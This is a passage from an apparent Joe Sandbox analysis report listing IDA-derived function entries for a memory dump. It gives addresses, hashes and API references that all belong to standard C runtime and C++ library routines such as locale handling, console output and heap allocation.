__alloca_probe_16.LIBCMT ref: 00BD0F0A
__alloca_probe_16.LIBCMT ref: 00BD0FD3
__freea.LIBCMT ref: 00BD103A

Part of subcall function 00BCF779: HeapAlloc.KERNEL32(00000000,00000000,00BC990C,?,00BD97AE,C0C2D04E,00000000,?,00BD5F80,00000000,00BC990C,?,EDF9CBD8,?,?,00BC99E6), ref: 00BCF7AB

__freea.LIBCMT ref: 00BD104D
__freea.LIBCMT ref: 00BD105A

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6ee74ecf115157bc4b25e7049bf49c2b3bd0fc24d5ac3cec69e821ca44642a40
Instruction ID: e499e67c38b2cf447c872f8015a758e3404bbd7a7fb215bb463ff9706165f3c3
Opcode Fuzzy Hash: 6ee74ecf115157bc4b25e7049bf49c2b3bd0fc24d5ac3cec69e821ca44642a40
Instruction Fuzzy Hash: 0251F772610246BFEB216F68DC81EBBBAE9EF44710F1409AEFD04D6241FB35CC509660

Function 00BC056E Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BC0575
std::_Lockit::_Lockit.LIBCPMT ref: 00BC057F
codecvt.LIBCPMT ref: 00BC05B9
std::_Facet_Register.LIBCPMT ref: 00BC05D0
std::_Lockit::~_Lockit.LIBCPMT ref: 00BC05F0

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: std::_$Lockit$Facet_H_prolog3Lockit::_Lockit::~_Registercodecvt
String ID:
API String ID: 738035616-0
Opcode ID: 3d65d35d4850c8a089f811c44894d24ddf825a582cc6d9d117bf7dd0558b8024
Instruction ID: 5e0cfa6af5ce9bbcb86bbcfd8641ac382eca39945dc4529d143c4c451c7dd57f
Opcode Fuzzy Hash: 3d65d35d4850c8a089f811c44894d24ddf825a582cc6d9d117bf7dd0558b8024
Instruction Fuzzy Hash: D3016D3291421A9BCB05FB64C895BFE77F1BF94320F64049DE421AB3A2DF749A01CB94

Function 00BCDECF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00BCDDD5,?,?,00000000,00000000,00000000,?), ref: 00BCDEF4
CatchIt.LIBVCRUNTIME ref: 00BCDFDA

Strings

MOC, xrefs: 00BCDF06
RCC, xrefs: 00BCDF0E

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 2c223a3a4b83b270526c680d847178e6d9d7814d5303b03f38c6e6e975337fc6
Instruction ID: 8e7b59ff5e70292b9a45e4d346dd88dd3d69feb1435e39ff74ddf79f540b7579
Opcode Fuzzy Hash: 2c223a3a4b83b270526c680d847178e6d9d7814d5303b03f38c6e6e975337fc6
Instruction Fuzzy Hash: 19413236900209AFCF16DF98C981EAEBBF5FF48304F1981ADF906A6221D335A950DB50

Function 00BBF4B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BBF4C0
std::_Lockit::_Lockit.LIBCPMT ref: 00BBF4CD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BBF50A

Part of subcall function 00BBECB7: _Yarn.LIBCPMT ref: 00BBECD6
Part of subcall function 00BBECB7: _Yarn.LIBCPMT ref: 00BBECFA

Strings

bad locale name, xrefs: 00BBF51B

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: 89f93c2ea09f2e125a5299a91d1a9e53f9b1cf3dce7e9013ec5a35f036a5a45d
Instruction ID: 1d6ffabb570f23a6ae3ac9ec79956cb5960e6e4bda35046fd22430dca543b669
Opcode Fuzzy Hash: 89f93c2ea09f2e125a5299a91d1a9e53f9b1cf3dce7e9013ec5a35f036a5a45d
Instruction Fuzzy Hash: AB014F71905B849EC730DF7A848159AFEF0BF28300B548AAEE09E93B52C770A644CB59

Function 00BDA0F1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00BDA18D,00000000,?,00BF0D38,?,?,?,00BDA0C4,00000004,InitializeCriticalSectionEx,00BE34F4,00BE34FC), ref: 00BDA0FE
GetLastError.KERNEL32(?,00BDA18D,00000000,?,00BF0D38,?,?,?,00BDA0C4,00000004,InitializeCriticalSectionEx,00BE34F4,00BE34FC,00000000,?,00BCE0FC), ref: 00BDA108
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00BDA130

Strings

api-ms-, xrefs: 00BDA115

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 430a7bec89523e39a5d28f7e3926d93d01f726ff5114bd24f5c3b350ebaff24e
Instruction ID: 0da821cf3428f32fb84bac1e1d0a367be66a9091cc28dc0957817bef42ffa021
Opcode Fuzzy Hash: 430a7bec89523e39a5d28f7e3926d93d01f726ff5114bd24f5c3b350ebaff24e
Instruction Fuzzy Hash: 08E04F30280348BBEF202FA1EC46B1A7ED4FB21B41F144461F90CF91E1FB62A9518985

Function 00BD731D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00BD7380

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00BD75D2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00BD7618
GetLastError.KERNEL32 ref: 00BD76BB

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4964a660f8f4bb35089afcd26bafb1ee81571e6a90a1c5770e2e19f8cc9c59a3
Instruction ID: 927dd05c79540adc77f007b8d4b92a6c8c58bf1ab5dcb4700cc243a7c097ff52
Opcode Fuzzy Hash: 4964a660f8f4bb35089afcd26bafb1ee81571e6a90a1c5770e2e19f8cc9c59a3
Instruction Fuzzy Hash: BCD15975D046489FCB15CFA8D884AEDFBF5EF09314F2845AAE816EB351FA30A941CB50

Function 00BCD8D3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BCD99A
___AdjustPointer.LIBCMT ref: 00BCD9BD
___AdjustPointer.LIBCMT ref: 00BCDA59

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 30f3363f64594c69e0fce7bb90d3314767a4f80e4f390fe0ca363276a655e978
Instruction ID: ef9679fc03596aadc48ef3cfc465ff8e98842089bcd054c5303f7a0f589b149e
Opcode Fuzzy Hash: 30f3363f64594c69e0fce7bb90d3314767a4f80e4f390fe0ca363276a655e978
Instruction Fuzzy Hash: 0351EE7E604242AFDB288F54D881F7A77E4EF54300F1485BDE9468B291E771EC80C750

Function 00BD544A Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00BD54AE
__dosmaperr.LIBCMT ref: 00BD54B5
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00BD54EF
__dosmaperr.LIBCMT ref: 00BD54F6

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 7e92b3689e9ec8516acbf4fb9f3206a91eb67e2cdb947e839c80f11c1a01cbad
Instruction ID: d9b70f208c4b10533904d3b2a3e8c13236b056b8d949cc6f83426ca91a215ec1
Opcode Fuzzy Hash: 7e92b3689e9ec8516acbf4fb9f3206a91eb67e2cdb947e839c80f11c1a01cbad
Instruction Fuzzy Hash: CA21A171600A05AF9B31AF659881E6BFBE9FF5536871085AEF819D7350EB30EC408F61

Function 00BC4841 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3b7feb40e676d3aed090460605f51d5c40e0c5fef2aa979b527d256d14790
Instruction ID: 7faea19ec2101526fca2aba983740f92e36bcc303ec1c4da612bd83b8f3857f6
Opcode Fuzzy Hash: 68a3b7feb40e676d3aed090460605f51d5c40e0c5fef2aa979b527d256d14790
Instruction Fuzzy Hash: 2E218E31600396AFEB10AF65DCA5F6B77E9EF4136471085ADF929D7150EB30EE408760

Function 00BD6208 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00BD6210

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BD6248
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BD6268

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 043127d6c5ba8839a926be11c38013bc0a01ad6a9029a24a8dc822200e6b2622
Instruction ID: 4432fb3b1f1cfebbc3064aecccf7671daf182606b94b194b717de09181cae7a0
Opcode Fuzzy Hash: 043127d6c5ba8839a926be11c38013bc0a01ad6a9029a24a8dc822200e6b2622
Instruction Fuzzy Hash: CA1196B15016567E6B1527729CCEDBFAFEDDE9939431000EBF805D6201FE64DD024571

Function 00BDF1B8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000), ref: 00BDF1CF
GetLastError.KERNEL32(?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?,?,?,00BD7055,?), ref: 00BDF1DB

Part of subcall function 00BDF22C: CloseHandle.KERNEL32(FFFFFFFE,00BDF1EB,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?,?), ref: 00BDF23C

___initconout.LIBCMT ref: 00BDF1EB

Part of subcall function 00BDF20D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00BDF1A9,00BDD75C,?,?,00BD770F,?,00000000,00000000,?), ref: 00BDF220

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?), ref: 00BDF200

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 26832a6e26e93338eca165074e827a3646d0b1ffd4d3a438e2a9504a6ed2390a
Instruction ID: af03d3e2b2d5d633681ee0a54a756dff12c721803ee5dfc3d97ba1530bdc9cd0
Opcode Fuzzy Hash: 26832a6e26e93338eca165074e827a3646d0b1ffd4d3a438e2a9504a6ed2390a
Instruction Fuzzy Hash: D6F0A23B544155BBCF125F95DC459AA7F65FB493A1B044171FA199A230DA3188209B90

Function 00BA5FF0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BA615B

Strings

+`^z, xrefs: 00BA61CB
+`^z, xrefs: 00BA6276

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: a3327e4b85bc9cee8ccc1a79b0a96baf3b8f1dc97ffbfa910a2b6d4aa7e5cd41
Instruction ID: 3fe9e7a446afe64ad61bc82b2ba76e04b73be59d0684fa0a855ea531a54294fc
Opcode Fuzzy Hash: a3327e4b85bc9cee8ccc1a79b0a96baf3b8f1dc97ffbfa910a2b6d4aa7e5cd41
Instruction Fuzzy Hash: B59127B460C3409FC764DF18C4D462EBBE0EB9A314F58489EE99AD7326D631DD948B83

Function 00BC442D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00BC44BD

Strings

pow, xrefs: 00BC4495, 00BC44B2

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 240a5e940830fce111a7effd5996ca43c68867e99b06c9e1638ea551c5b15f0b
Instruction ID: cf6dabf6c6b4b77965a2639b4a97f401da9a6b88c5c44c485e5656307112df7e
Opcode Fuzzy Hash: 240a5e940830fce111a7effd5996ca43c68867e99b06c9e1638ea551c5b15f0b
Instruction Fuzzy Hash: F2516761A0810397CB197B18C9A1FBE2BE5DB50750F3089FCE4D6863A9EF348D849A46

Function 00BD402A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00BC80ED,?,?,?,00000055,?,-00000050,?,?,?), ref: 00BD40E9
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00BC80ED,?,?,?,00000055,?,-00000050,?,?), ref: 00BD4120

Strings

utf8, xrefs: 00BD41F2

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 59c7718126b6462cb1f46d481670309dde28719fa1db4010b68dea15dcec709c
Instruction ID: 35c0ce40e1ceebf1513a65c6f9ccb37bf36845bc6bb1a6399d81ec4774107494
Opcode Fuzzy Hash: 59c7718126b6462cb1f46d481670309dde28719fa1db4010b68dea15dcec709c
Instruction Fuzzy Hash: 3351C231650305ABDB25AB718C82FA7F7E8EF45700F1445EBFA459B382F770E9408661

Function 00BB6510 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

bad locale name, xrefs: 00BB66A8

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID:
String ID: bad locale name
API String ID: 0-1405518554
Opcode ID: 533f5d8b9a7e7af10dffaf80f38ac599561dc799fc28e942d73d56e1ba678d2d
Instruction ID: 20a6943c106370063a8c75f95da4e41e13478c643ae2e753539e4773ad3f4159
Opcode Fuzzy Hash: 533f5d8b9a7e7af10dffaf80f38ac599561dc799fc28e942d73d56e1ba678d2d
Instruction Fuzzy Hash: FC41B1A06083489BCB249F6984957BEBBD5AB95344F1008ACF85BCB381D7F9CD588793

Function 00BAF200 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

bad locale name, xrefs: 00BAF38E

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID:
String ID: bad locale name
API String ID: 0-1405518554
Opcode ID: 022f2b08d244aa59224610dcc46c759628c5fbbe88a6e745409ebc2bb82ec888
Instruction ID: fe1af374f75c63bfe68579461dd2dce4e03e137e2860d4ecf1cf73329f616197
Opcode Fuzzy Hash: 022f2b08d244aa59224610dcc46c759628c5fbbe88a6e745409ebc2bb82ec888
Instruction Fuzzy Hash: 8531E57060C3498BDB109BA994D57BFB6D0AB8A344F5048BDF85B8B381D7B5CC888797

Function 00BABF50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BABF91

Strings

+`^z, xrefs: 00BAC02B
+`^z, xrefs: 00BABFFF

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: 29deaa94cb9ec606c9c1a5ef88d27c14580741e111385e533bb71b4f2e4a48aa
Instruction ID: 7729fd5de0806850333f0d03969139c128357bab2c0f6efd9035e9812fb0d894
Opcode Fuzzy Hash: 29deaa94cb9ec606c9c1a5ef88d27c14580741e111385e533bb71b4f2e4a48aa
Instruction Fuzzy Hash: 4C413B7460C244DFC7249F28D595A2EBBE1EF86304F14889EF89A8B326D731CD448B93

Function 00BB69F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6A1E

Strings

+`^z, xrefs: 00BB6A7B
+`^z, xrefs: 00BB6AAB

Memory Dump Source

